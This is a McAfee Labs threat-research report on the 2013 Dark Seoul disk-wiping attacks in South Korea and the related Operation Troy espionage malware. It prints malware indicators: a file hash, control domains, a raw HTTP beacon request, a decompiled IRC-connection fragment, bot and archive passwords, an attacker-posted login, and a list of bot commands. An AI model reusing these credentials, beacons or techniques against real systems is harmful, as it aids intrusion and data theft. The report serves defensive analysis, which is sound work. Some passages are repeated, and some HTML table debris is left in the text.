Executive Summary

South Korea was hit by a major cyberattack on March 20, 2013, at 2:00 pm local time. This cyberattack caused a significant amount of damage to the affected organizations by wiping the hard drives of tens of thousands of computers.

McAfee® Labs research provides further insight into the likely source of these attacks. Though not definitive, our analysis provides a much clearer picture. The research also indicates that there may have been two distinct groups, attacking different targets.

Our analysis of this attack—known first as Dark Seoul and now as Operation Troy—has revealed that in addition to the data losses of the master boot record (MBR) wiping, the incident was more than cybervandalism. The attacks on South Korean targets were actually the conclusion of a covert espionage campaign.

Attack Timeline

Our analysis suggests the following order of these attacks. Later in this report we mention other elements that color our view of this event, but consistent throughout is our belief that the attackers had access to the environments prior to launching the wiping component.

March 20 attack against banks and news agencies in South Korea:

1. The remote-access Trojan was compiled January 26, 2013.

2. The component to wipe the master boot record (MBR) of numerous systems was compiled January 31.

3. An initial victim within the organization was spear-phished with the remote-access Trojan. This likely occurred before March 20 and possibly weeks prior to the attack.

4. The dropper was compiled March 20, hours before the attack occurred.

5. The dropper was distributed to systems across the victim organizations, and, within minutes of execution, the MBRs were wiped. This occurred around 2:00 pm Seoul time on March 20.
State Sponsorship or Cyberterrorism?

Who conducted these attacks is still unclear, but our research gives some further insight into the likely source. The clues left behind confirm that the two groups claiming responsibility were a fabrication to throw investigators off the trail and to mask the true source.

The adversaries

The two groups that appear to have been involved in the attacks have had no prior connection until now.

- **NewRomanic Cyber Army Team:** The samples connected to this group are more convincing. The majority of the wipers (found in the wild and retrieved from infected systems through other sources) contain the strings “principes” and “hastati,” which also appear in a message left on one of the targeted websites in the form of a web pop-up. The wiper component also overwrote the MBR with one of these strings. The following data points support this fact:
  - The strings “principes”¹ and “hastati”² were found within the code of some of the wiper components. The same strings were also found in the web pop-up message that was left on the Nocut News Korea website. The strings are ancient Roman terms that make reference to military units, hence a “cyberarmy.” The pop-up even states some of the specific units that were part of hastati which were involved in this attack.
  - The remote-access Trojan that was found had a build path that included the reference “Make Troy,” a subdirectory of the folder “Work.” Troy³ refers to an ancient Roman region, again connecting the Roman references to this group, which consistently uses this theme.

- **The Whois Hacking Team:** On March 20, the website of the network provider LG +U was defaced by this group. Was it a coincidence that a second group was involved? All of the evidence indicates that they had a strong involvement, but there is no solid link to the group because it did not claim involvement in the attacks. However, we do have the circumstantial link of a wiper component that in practice operated differently from the wipers employed by the NewRomanic Cyber Army yet also appears to be essentially the same wiper. The Whois Hacking Team MBR wiper component includes the same graphics (in a resource file in the binary) that appeared on the defaced LG +U website, although the malware did not behave the same way. Within the main executable file, however, we discovered a small portion of the code that matched the structure of that of the NewRomanic Cyber Army wipers we found, so the Whois Team likely dropped the same wiper.

State sponsored or not, these attacks were crippling nonetheless. The overall tactics were not that sophisticated in comparison to what we have seen before. The trend seems to be moving toward using the following techniques against targets:

- Stealing and holding data hostage and announcing the theft—public news media have reported only that tens of thousands of computers had their MBRs wiped by the malware. But there is more to this story. The main group behind the attack claims that a vast amount of
personal information has been stolen. This type of tactic is consistent with Anonymous operations and others that fall within the hacktivist category, in which they announce and leak portions of confidential information.

- Wiping the MBR to render systems unusable, creating an instant slowdown to operations within the target

The Analysis
What were the motives behind these attacks, and why did the attackers choose certain targets? The attacks managed to create a significant disruption of ATM networks while denying access to funds. This wasn’t the first time that this type of attack—in which destructive malware wiped the systems belonging to a financial institution—has occurred in South Korea. In 2011, the same financial institution was hit with destructive malware that caused a Denial-of-Service.

The attackers left a calling card a day after the attacks in the form of a web pop-up message claiming that the NewRomanic Cyber Army Team was responsible and had leaked private information from several banks and media companies.

They also referenced destroying the data on a large number of machines (the MBR wiping) and left a message in the web pop-up identifying the group behind the attacks. The page title in Internet Explorer was “Hey, Everybody in Korea????”

“Hi, Dear Friends, We are very happy to inform you the following news. We, NewRomanic Cyber Army Team, verified our #OPFuckKorea2003. We have now a great deal of personal information in our hands. Those includes; 2.49M member table data, cms_info more than 50M from . Much information from . We destroyed more than 0.18M of PCs. Many auth Hope you are lucky. 11th, 12th, 13th, 21st, 23rd and 27th HASTATI Detachment. Part of PRINCIPES Elements. p.s For more information, please visit www.dropbox.com login with joseph.r.ulatoski@gmail.com::lqaz@WSX3edc$RFV. Please also visit pastebin.com.”

The Malware
A few types of malware were involved in these attacks. Each variant had a particular use. Some public reports mentioned only the use of the wiper component. However, there were actually three components, all with a different purpose, that assisted the attackers in the campaign.

</tbody>
</table>

Table 1. Elements of the attack on South Korean targets.

There were two subsequent aspects to this attack:

- The destruction of PCs using the MBR wiper component, which occurred March 20.
- Remote access to the targets’ environments for a period prior to the attack. The duration of this access is unknown.
**The dropper Trojan**

The dropper Trojan was primarily used to download the executable that destroyed the systems' MBRs. We suspect that the dropper Trojan was distributed at the time of the attacks via a compromised patch-management server that pretended to run a legitimate update.

The dropper Trojan was compiled March 20, the day of the attack, and several hours prior to the destruction of the systems. We suspect that the attackers had access to the target environment prior to March 20. It is unlikely that a large volume of users (some 30,000+) were spear-phished on March 20 alone.

It's likely a much earlier compromise led to the attacks being staged internally. Thus, there was an initial victim whose infected system allowed the attackers to gain access to other systems that let them distribute the malware broadly. The initial infection certainly could have come from a spear-phishing attack. The backdoor component was compiled in late January. The attackers could have been inside the networks since February. This timeline is plausible given that the attackers claim to have stolen a vast amount of information from these networks prior to wiping the MBRs.

Our further analysis led us to discover additional components that support our conclusion:

- A remote-access Trojan was discovered to have compromised some of the target environments, specifically an internal server used to distribute updates to thousands of PCs. This Trojan variant was compiled on January 26 and was detected by the security industry on March 25. McAfee detected this threat as RDN/Generic PWS.y!io. This Trojan was built with the Microsoft Visual C++ Version 2.9 compiler with a file size of 47KB.

**MBR wiper**

We have seen several wiper samples to date—all were compiled on January 31. The wiper itself is relatively small (24 Kb) and is introduced into the environment via a dropper Trojan that is 418 Kb and was compiled the day of the attacks.

Upon executing the malware, the main dropper (9263e40d9823aef9388b64de34eae54) creates the file AgentBase.exe, the MBR wiper component. This file is placed in the infected user’s application data folder, executes, and immediately starts the countdown to wipe the system and render it unbootable. This file was compiled approximately two months prior to the attack’s taking place.

The main dropper component was compiled the day of the attack, March 20, at 4:07 am Seoul time. The dropper installed the wiper, which destroyed the MBRs at around 2:00 pm Seoul time. Once the dropper executed, the systems were wiped within minutes. Thus, these components likely weren't distributed until the time when the attackers wished to destroy these machines.

**The remote-access Trojan**

It's not widely known that the attackers used a remote-access Trojan to compromise an internal server. The attackers used this internal server to distribute the wiper component to the thousands of PCs. The remote-access Trojan had a file size of 46 Kb and was compiled on January 26, five days before the MBR wiper was compiled.
As we concluded earlier, we have determined that the attackers had access to the environment prior to wiping the systems. The remote-access Trojan was likely delivered to an internal PC via a spear-phishing campaign. From this system, the attackers accessed other internal resources. The Trojan was designed to operate within Internet Explorer—it launched a hidden instance of Internet Explorer and injected itself into the running process.

The Trojan immediately modified the properties in the registry to allow for remote connections to the system.

![Figure 1. The process monitor shows the remote-access Trojan spawning an instance of Internet Explorer.](image)

**Linking to the Attackers**

Linking malware to its developers isn’t always an easy task. Most attackers are careful enough to ensure they can’t be traced. This is especially important in cases such as cyberespionage, in which the intent is to remain invisible.

In our analysis we observed a number of unique attributes in the components involved in these attacks. These markers allowed us to link specific samples to a specific group.

Two groups have taken credit for these attacks, but we can tell that the variants that wiped the systems link to the NewRomanic Cyber Army Team.

Although the Whois Hacking Team is more public due to its defacement of the network provider LG +U’s website, we can link this group to only one sample of a wiper, which operates differently than the others. The Whois wiper is much larger, with a file size of 236 Kb and was compiled March 19, whereas the other wiper components are a mere 24 Kb. The larger size suggests the Whois wiper contains more functions. Thus, we can definitively link NewRomanic to the samples used to wipe the MBRs of systems within the South Korean financial institution networks. NewRomanic will remain the prime suspect involved in the attacks.

Confirming the link between NewRomanic and known wiper samples, we found a number of wiper samples contained either the string “hastati” or “principes” in the calling cards left by the attacker.
Dissecting Operation Troy: Cyberespionage in South Korea

The Whois Hacking Team sample was compiled on March 19 at 1:57 pm local time and the NewRomanic dropper was compiled on March 20 at 4:07 am local time. The attacks on South Korean banks and media and the defacement of LG +U occurred approximately 2:00 pm local time on March 20.

McAfee Labs investigated the differences between the two samples at a code level to determine if there were any similarities. In spite of the fact that the wiper component originating from NewRomanic Cyber Army Team was 24 Kb in size and the component from Whois was 236KB, we did find similarities within the code. The Whois sample is a dropper for a component that closely resembles the one used by the NewRomanic Cyber Army. We found a significant number of matching subroutines and a large number of code segments with only minor differences. These similarities lead us to conclude that the payload code is based upon the same initial code and was embedded into different droppers.

## Revealing “Operation Troy”

**Persistent espionage campaign in South Korea: 2009–2013**

Public reports covering what is known as the Dark Seoul incident, which occurred on March 20, 2013, addressed only the MBR wiper components. Many of the details of this incident have been examined, and most analysts conclude this was an isolated, though clearly coordinated, attack. However, McAfee Labs has found that there was more to the incident than what was widely reported. Our analysis has revealed a covert espionage campaign.

Typically, this sort of advanced persistent threat (APT) campaign has targeted a number of sectors in various countries, but Operation Troy, as these attacks are now called, targets solely South Korea.

From our analysis of unique attributes within the malware samples, we have determined that the initial code behind the “Troy” family of Trojans was created in 2010, as was another component that was dropped by the Trojan HTTP Troy. The malware used in these attacks were compiled to specifically target South Korea and used Korean-language resources in the binaries. The malware connected to legitimate Korean domains that were running a bulletin board and sent a specific command to a PHP page to establish an IRC channel and receive commands.

#### Dark Seoul

- March 20, 2013

Figure 3. The targeted attack Dark Seoul reached its culmination in March 2013, but its roots go back at least to 2009, when the Trojan’s source code was first compiled. Subsequent variations of the malware have also been involved in these threats.

McAfee Labs has determined that domestic espionage activities occurred before the March 20 attacks, most likely to gain intelligence regarding the targets to carry out further attacks (such as the March 20 incident) or to benefit the attackers in some other ways. This spying operation had remained hidden and only now has been discovered through diligent research and collaboration. We also suspect the attackers had knowledge of the security software running within the environment before they wiped the systems, given that some of the variants used in the attack were made to look as if they were anti-malware update files from before March 20.

The attackers who conducted the operation remained hidden for a number of years prior to the March 20 incident by using a variety of custom tools. Our
investigation into Dark Seoul has found a long-term domestic spying operation underway since at least 2009. The operation, all based on the same code, has attempted to infiltrate specific South Korean targets. We call this Operation Troy, based on the frequent use of the word Troy in the compile path strings in the malware. The prime suspect group in these attacks is the New Romanic Cyber Army Team, which makes frequent use of Roman and classical terms in their code. While analyzing malware components from before the March 20 incident, we found both similar and identical attributes of the files involved that enable us to link them to the 3Rat remote administration tool client used on March 20, as well as to samples dating to 2010. Furthermore, we determined that, through prior access to the victims’ networks, the attackers were able to upload the MBR wiper component and distribute it. It is also possible that the campaign known as 10 Days of Rain is a byproduct of Operation Troy. Some of our analysis suggests that the malware Concealment Troy was present in these attacks.

**Tools and tactics**

**NSTAR: 2010–2011**

NSTAR appears to be the first production version of the Troy family. This Trojan is based upon malware created for a military espionage campaign that first emerged in 2009. NSTAR is the first to use components in the same way that later variants of the Troy family do. It included a shared DLL (bs.dll) that was found in the 2010 and 2011 variants. Later variants use a modified version, HTTPSecurityProvider.dll, which employs nearly the same file-mapping function as used by bs.dll. Most of these variants are compiled from the Work directory.

That’s fairly consistent throughout all versions. The DLL was compiled using Microsoft Visual C++ Version 6. Those iterations were found in 2010-2011.

The call graph generated for NSTAR’s bs.dll is identical with that of HTTP Troy. They were compiled at least a year apart from each other.

Figure 4. Call graph for bs.dll from the NSTAR variant of the Troy Trojan.

Figure 5. Call graph for bs.dll from the HTTP Troy variant.
The DLL was compiled March 3, 2011, and includes an OCX component that was compiled in late 2010. The OCX used a very different compile path, but bs.dll, the backdoor, is essentially the same as those seen in later versions.

The Work directory, with path shown below, is also used with Troy variants Concealment Troy and 3Rat Client, which were both compiled in 2013.

E:\Work\BackUp\2011\nstar_1103\BackDoor\BsDll-up\Release\BsDll.pdb

We also found a file-mapping function in this variant similar to those in most of the newer versions. The unique string beginning with “FFFFFFF” is identical and occurs throughout the later variants.

Figure 6. NSTAR’s file-mapping function.

The malware establishes an internet relay chat (IRC) channel to receive real-time commands in the same manner as the military espionage malware.

Chang and EagleXP: 2010

Another variant from 2010, EagleXP, is closely related to NSTAR and HTTP Troy based on reused components. EagleXP used this compile path:

D:\VMware\eaglexp(Backup)\eaglexp\vmshare\Work\BsDll-up\Release\BsDll.pdb

Again we see the Work directory involved as in the other post-2010 malware used in this campaign. A variant compiled on May 27, 2010, also contained a very similar compile path. We were able to obtain some traffic from the control server.

D:\Chang\vmshare\Work\BsDll-up\Release\BsDll.pdb

The May 27 variant, called Chang, operated in the same manner as other Troy variants and used the same bs.dll. A Korean manufacturing website hosted both the control server and an IRC server.

Figure 8. Outbound traffic from an infected system.

Figure 9. The malware establishes a channel with the control server via IRC.
Both the Chang and EagleXP variants are based on the same code that created NSTAR and later Troy variants. These similarities confirm the attackers have operated for more than three years against South Korean targets.

**Inside the IRC botnet**

During our investigation we dug into the attackers’ controlling botnet, which was used until 2013. The infrastructure relied upon on a network of hacked South Korean websites hosting IRC servers. The infected clients, in turn, communicated with the IRC servers using RSA encryption and used functions imported from the Microsoft Cryptography API library.

The attackers hardcoded the control domains in bs.dll and distributed it in the final compiled Trojan code. Each variant of each generation of Trojans contained different hardcoded strings pertaining to the control servers. This shows that the attackers first compromised the future IRC server sites and then compiled the component and distributed it to infected targets.
The nickname for the bot can be determined by the outbound traffic and information written to the Windows registry. One variant operating in June 2010 used the nickname BS^000C2918AB11 with the password wodehaopeng. The malware joined the IRC channel #god and sent several private messages to what was likely the control server to receive instructions.

### HTTP Troy: 2011

In 2011 the attackers created the Trojan HTTP Troy, named from its compile path string. This was the first of the Troy family of Trojans. To date, we have found only one sample of HTTP Troy. Upon execution, the malware launches a crippled GUI that allows the victim to install a screen saver displaying politically sensitive images. We don’t know why the developers took the risk of making the Trojan visible. The screensaver component (chonanship.scr) is not malicious and was compiled on December 12, 2010. It contained images related to the sinking of the South Korean Navy ship Cheonan. HTTP Troy was compiled on March 20, 2011 and contained the compile path Z:\source\1\HttpTroy\BsDll-up\Release\BsDll.pdb. As we can see, HTTP Troy uses the same DLL as the NSTAR, Chang, and EagleXP variants did in 2010. This path was contained in a dropped DLL component that was used to establish a hidden IRC channel to the attackers’ control server. The primary dropper file for this remote-access Trojan was disguised as AhnLab’s Smart Update Utility setup program. The original filename was SUUpdate.exe.

After executing, the remote-access Trojan makes a connection to sujewha.com, the IRC control server.

```

```

**Figure 13. HTTP Troy communicates with its control server via IRC.**

### Http Dr0pper: 2012

We found a second-generation Trojan based on HTTP Troy that included the compile path Z:\1Mission\Team_Project\[2012.6-\]HTTP_Troy\HttpDr0pper\Win32\Release. This Trojan, Http Dr0pper, was compiled in 2012 from the HTTP Troy directory, indicating that it is an advancement of the original HTTP Troy.
All of the variants from this point reuse a specific DLL, which in some instances is named HTTPSecurityProvider, dll and uses the Microsoft Cryptography API to secure communications. We can track the reuse of this DLL based on the consistent file-mapping function that appears throughout the variants.

Figure 14. The malware HttpDr0pper using the same file-mapping function and DLL as other versions.

We can determine that another variant, Tong (based on the directory in which it was compiled), also reuses this DLL and contains the same function.

Figure 15. The malware Tong using the same file-mapping function and DLL as other versions.

Furthermore, variants such as Concealment Troy that were compiled in 2013 contain the same function once decoded. Still, some of the base code is reused in the supporting DLL for Concealment Troy.

Figure 16. The malware Concealment Troy using the same function (encoded function shown).

After execution, the Trojan makes a connection to the control server using specific parameters that include the IRC nickname. This communication pattern is consistent with other variants that reference Troy.

Figure 17. Communicating with the control server.

Tong: 2012

The Tong variant contains the compile path E:\Tong\Work\Op\1Mission\Team_Project\[2012.6~]\HTTP Trojan 2.0\HttpDr0pper\Win32\Release. It also communicated using the same methods. This Trojan was compiled on August 28, 2012.

</tbody>
</table>

Table 5. Components dropped by Tong.
TDrop: 2013
TDrop is the third generation of HTTP Troy. TDrop uses one of two DLL files, payload32.dll and payload64.dll, and injects one, depending on operating system, into svchost.exe. Previous versions used bs.dll, which contained the code for communicating with the IRC botnet. TDrop has some further functionality not present in HTTP Troy that extends this Trojan's ability to operate on 64-bit machines and to evade automated analysis systems and emulation technologies.

The evasion routines check for the presence of debuggers and tracers that attach to the parent process. This effectively causes the parent process to immediately terminate when under analysis by emulation or sandboxing systems that attempt to hook and monitor API calls coming from that process.

Furthermore, TDrop uses a DLL to run under nonprivileged accounts on Windows 7. This variant was compiled on January 15, 2013, and contained the compile path D:\Work\Op\Mission\TeamProject\[2012.11-12]\TDrop\Dropper\Release\Dropper.pdb. The main executable, which extracts the other components, was compiled from the path Z:\Work\v3zip\misc.c and Z:\Work\v3unzip.c. This is likely a compression tool to extract the files to the desktop.

Just as Http Dr0pper, TDrop uses the disguised dropper component AhnlabUpdate.exe. The unique code is nearly identical to that used in Http Dr0pper with the exception of the last two characters.

Figure 19. The antidebugging feature in payload32.dll.

Figure 20. TDrop reusing code from Http Dr0pper.

When the main Trojan file executes, it launches RunCmd.exe, which itself doesn't appear to be malicious. RunCmd.exe then launches AhnlabUpdate.exe based on the specified filename in the associated RunCmd.ini file. These files are created in the directory 114719_507_AhnlabUpdateKit, which sits in a temp directory created on the desktop. It is obvious that the attackers were aware of the security product that the target environment used and attempted to make the malware appear as legitimate as possible. AhnlabUpdate drops and runs an additional executable, which is the RAT payload that establishes a connection with the control server.
Concealment Troy: 2013

Another third-generation Troy family Trojan is Concealment Troy. This version was compiled from the same directory as the 3Rat client found in the victims’ environments on March 20. Some components from Concealment Troy suggest that the source code was originally written in 2010 and was later compiled for use in this campaign. The 64-bit component to install the backdoor on the victims’ systems contains an interesting compile path and was first created on November 28, 2012.

C:\test\BD_Installer_2010\x64\Release\BD_Installer_2010.pdb

The 32-bit version was compiled January 23, 2013, and contained this compile path:

Z:\Work\Make Troy\Concealment Troy\Exe_Concealment_Troy(Winlogon_Shell)\SetKey_WinlogOn_Shell_Modify\BD_Installer\Release\BD_Installer.pdb

Table 6. Compilation timeline for Concealment Troy.

Concealment Troy does not employ real-time IRC control as earlier versions did. (Concealment Troy is a typical HTTP botnet.)

GET /rpgboard/rpgboard/view_fo.php?novud=3=0000000000007900239&se=2014880000&sc=4e147e1b0cb24a561a143f8e9b5dab92_HTTP/1.0 user-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: mupa.co.kr

Figure 22. Concealment Troy abandons the use of IRC for real-time control and uses HTTP as its primary channel.
Military Espionage Malware: 2009–2013

McAfee Labs has uncovered a sophisticated military spying network targeting South Korea that has been in operation since 2009. Our analysis shows this network is connected to the Dark Seoul incident. Furthermore, we have also determined that a single group has been behind a series of threats targeting South Korea since October 2009. In this case, the adversary had designed a sophisticated encrypted network designed to gather intelligence on military networks. We have confirmed cases of Trojans operating through these networks in 2009, 2010, 2011, and 2013. This network was designed to camouflage all communications between the infected systems and the control servers via the Microsoft Cryptography API using RSA 128-bit encryption. Everything extracted from these military networks would be transmitted over this encrypted network once the malware identified interesting information. What makes this case particularly interesting is the use of automated reconnaissance tools to identify what specific military information internal systems contained before the attackers tried to grab any of the files.

The attacks would have occurred in four general stages:

- Initial compromise via a “watering-hole attack,” which would lead to the exploitation of the internal systems (in the 2009 case). (The attacker placed a zero-day exploit on a military social networking site.) Later cases were likely spear phishing to more quickly get to the right targets.

- Malware automatically performs reconnaissance on target systems looking for documents of interest. Malware can also scrape out passwords and registry information along with directory listing of interesting files.

- The attacker can request directory contents from infected systems based on the number of interesting files found. They can selectively grab specific files as needed.

- Stolen files are transmitted via HTTP-encrypted channel to the attacker’s server.

Figure 23. Encrypted data exfiltration network.
The encrypted network
The attacker’s encrypted network uses Microsoft’s Cryptography API library Version 1.0 to encrypt communication channels to the control servers over both HTTP and IRC. The encryption uses a 128-bit RSA key, shown as imported and used by the following code.

![Figure 24. Function to call the Microsoft Cryptography API library.](image)

![Figure 25. RSA encryption key used to camouflage communications.](image)

This network operates over both HTTP and uses IRC as secondary channel for real-time operations. The IRC network is based on the open-source library libircclient⁶, and everything sent over this IRC channel is encrypted via the Microsoft Cryptography API.

```c
if ( *v23 == '# ' )
    sprintf((char *)&word_10E2ADF8, "%s", v23);
else
    sprintf((char *)&word_10E2ADF8, "%s", v23);
if ( irc_connect(v8, &server, port[8], server_password, (const char *)&Data, 8, 8) )
{
    irc_destroy_session(v8);
    close(12300000);
    ++v4;
    v1 = 6;
    irc_run(v8);
    irc_destroy_session(v8);
    ++v4;
    v1 = 8;
}
```

![Figure 26. Establishing an IRC channel session.](image)

The following commands are supported by IRC to control infected systems in real time. This functionality enables the attacker to send and receive files on demand and execute remote commands. The messages sent between client and servers are base64 encoded and then encrypted using the Cryptography API—thus, a message must be decoded and decrypted to be visible. This highly sophisticated method provides for great flexibility over a secure encrypted channel that is not SSL.

- Get bot version and uptime
- Get directory file listing, all drives or from specific path
- Stop activities for a given period
- Download file
- Send local file to the server
Execute shell command
Connect to IRC server
Change nick (IRC)
Join channel (IRC)
IRC disconnect
Remove bot from system

The HTTP portion is designed to get configuration data used in the IRC botnet and to send stolen documents back to the control server.

Figure 27. Functions for IRC commands.

Figure 28. HTTP Get command with parameters.

Figure 29. HTTP Get command continued.
The encrypted network operates by scanning infected systems and categorizing those systems that contain interesting documents. The malware does not extract every document that is found as a match through drive scanning—rather it assigns a unique signature to the infected system according to what it contains. Less interesting systems are less likely to have documents extracted from them. The directory contents are uploaded to the attacker's server, which lets the attacker grab documents at will and keeps the amount of network traffic low.

Data exfiltration

The theft of classified information is the primary purpose of this network and would occur through drive scanning. Drive scanning locates classified information on target systems and gives the attacker an overall idea of what these military networks have. The malware searches the root disk, counts the number of interesting files, and determines the level of that system's importance to the attacker. The search criteria are primarily specific file extensions and keywords in document titles. The keywords are all military specific. Some refer to specific military units and programs that operate in South Korea. This function would determine only the number of interesting files that are contained on any given system; another function would extract the list of files that match these search criteria.
In addition to searching for English keywords, the function searches for Korean ASCII characters that represent a subset of military terms. Most keywords specific to military operations in South Korea are in English. There is also a set of abbreviations.

The files to be sent to the attacker’s server are zipped using the open-source Zip Utils. The component uses the password “dkwero38oerA^t@#.” We have consistently found this password in the malware dating back to 2009. It is used primarily to archive items to be stolen from infected systems.

The DLL relationship

In all of these threats, we have seen the consistent use of bs.dll, a stripped-down version of ip6ld.dll, which we have found in the military espionage cases. We can connect not only similar functions within bs.dll from 2011 to date with those of the military cases in 2009 and 2010, but also the shared encryption key for zipping classified information to be sent to the control server.

This ip6ld.dll is the same as another file, ~81923.dll. Both operate in the same manner. Bs.dll appears to be used primarily for IRC botnet communications.

The component bs.dll has been seen in a number of Troy-era malware samples: Chang, EagleXP, NSTAR, Mail Attack, HTTP Troy, Tong, Http Dr0pper, and others. The file Ip6ld.dll, which contains much of the logic described
in these attacks, shares a number of common functions with bs.dll, including the zip encryption password. In addition, the IRC and encryption functions are the same in both files, indicating that they were built by the same individual or group. The two functions are likely the same source code in different versions. The primary difference between them is bs.dll’s lack of searching for specific extensions and terms that Ip6ld.dll and ~81923.dll contain. This suggests bs.dll requires a second module, and we have seen that with the Mail Attack variant, compiled in February 2011, which contained both bs.dll and payload.dll, with the latter containing the military-specific search and extraction functions.

The following function found in bs.dll lists the contents of specified directories and zips those contents into an archive file with a password. This function doesn’t have any criteria and is likely disabled in some cases, such as with HTTP Troy, which downloads a payload module to search for data.

Figure 34. The bs.dll function to scan all drives based on a specified extension.

The following function found in bs.dll lists the contents of specified directories and zips those contents into an archive file with a password. This function doesn’t have any criteria and is likely disabled in some cases, such as with HTTP Troy, which downloads a payload module to search for data.

Figure 35. A bs.dll function to list and send directory contents.

Figure 36. A bs.dll function to send directory contents to remote server.
Payload.dll appears to combine both drive searching and directory listing into a single function. A separate action puts the directory contents into a separate file and prepares it to be sent to the remote server.

![Figure 37. A payload.dll drive-search function.](image)

![Figure 38. A function to zip contents.](image)
Relationships to Http Dr0pper
We have determined that some variants of Http Dr0pper will execute payload32.dll, which is essentially the same DLL that is found in TDrop. This component contains military keywords. One variant of Http Dr0pper made use of payload32.dll, which was compiled on August 23, 2012. The TDrop version was compiled on January 13, 2013. This consistency confirms further that the operations against South Korea are primarily focused on military intelligence gathering and have attempted to break in since 2009.

Destroying the target
The espionage malware has the capability to destroy systems in the same way that the March 20, 2013 attacks disabled thousands of systems in South Korea. This capability could be devastating if military networks were to suddenly be wiped after an adversary had gathered intelligence. This was clearly the case with the March 20 Dark Seoul incident, in which we confirmed that the 3Rat Trojan gained access prior to the MBR-wiping event. There was at least one limitation, however: we found the malware of February 2011 could wipe its targets only if it detected that it was being debugged or analyzed by a security product.

Figure 39. The malware’s function to wipe the MBR.
The campaigns
Through our research, we have discovered a number of distinct subcampaigns as part of the overall Operation Troy, which has targeted military forces in South Korea to extract classified information. These operations were designed to occur in 2009 through 2013. Recently, we uncovered evidence to suggest that they continued just prior to Dark Seoul. We can link the actor(s) responsible for Dark Seoul to these particular espionage campaigns through various technical means.

- The Troy-era malware is based on the same source code to create these specialized versions (components shared over the years).
- The zip encryption password is found in almost all instances, with the exception of Concealment Troy.
- Consistent terms in the malware compile paths (for example, Troy, Work, and more).
- The same IRC botnet channel and encryption method are used throughout the variants.
- Military keywords are consistently found through the components spanning 2009–2013, confirming the intent of this adversary.
- The same string-obfuscation techniques were used in the 2009–2010 campaigns and the 2012–2013 campaigns.

Figure 40. Shared encryption password.
Conclusion

McAfee Labs can connect the Dark Seoul and other government attacks to a secret, long-term campaign that reveals the true intention of the Dark Seoul adversaries: attempting to spy on and disrupt South Korea’s military and government activities. The Troy-era malware is based on the same source code used to create these specialized variants and shares many commonalities, such as bs.dll and payload.dll, which are found consistently throughout the families. The attackers have attempted since 2009 to install the capability to destroy their targets using an MBR wiper component, as seen in the Dark Seoul incident. From our analysis we have established that Operation Troy had a focus from the beginning to gather intelligence on South Korean military targets. We have also linked other high-profile public campaigns conducted over the years against South Korea to Operation Troy, suggesting that a single group is responsible.

About the Authors

Ryan Sherstobitoff is a threats researcher with McAfee Labs. Formerly, he was Chief Security Strategist at Panda Security, where he managed the US strategic response for new and emerging threats. Sherstobitoff is widely recognized as a security and cloud computing expert.

Itai Liba is a senior security researcher with McAfee Labs. He is a member of the botnet research team. Itai has worked in mobile vulnerability research as well as large-scale reverse-engineering projects and display driver development. He has more than 10 years of experience in reverse engineering.

James Walter is the director of Global Threat Intelligence Operations and manages the McAfee® Threat Intelligence Service (MTIS) for the Office of the CTO. He focuses on new threats research, as well as the cataloging and maintenance of vulnerabilities and associated countermeasures. Walter has been with McAfee for more than 14 years and leads a global team of threats analysts who create Security Advisories, countermeasure/detector feeds, McAfee® Global Threat Intelligence applications, and more. He is a frequent speaker at industry events and conferences, and cohosts “AudioParasitics—The Official Podcast of McAfee Labs.”

About McAfee Labs

McAfee Labs is the global research team of McAfee. With the only research organization devoted to all threat vectors—malware, web, email, network, and vulnerabilities—McAfee Labs gathers intelligence from its millions of sensors and its cloud-based service McAfee Global Threat Intelligence. The McAfee Labs team of 500 multidisciplinary researchers in 30 countries follows the complete range of threats in real time, identifying application vulnerabilities, analyzing and correlating risks, and enabling instant remediation to protect enterprises and the public.

About McAfee

McAfee is the device-to-cloud cybersecurity company. Inspired by the power of working together, McAfee creates business and consumer solutions that make our world a safer place. By building solutions that work with other companies’ products, McAfee helps businesses orchestrate cyber environments that are truly integrated, where protection, detection, and correction of threats happen simultaneously and collaboratively. By protecting consumers across all their devices, McAfee secures their digital lifestyle at home and away. By working with other security players, McAfee is leading the effort to unite against cybercriminals for the benefit of all.
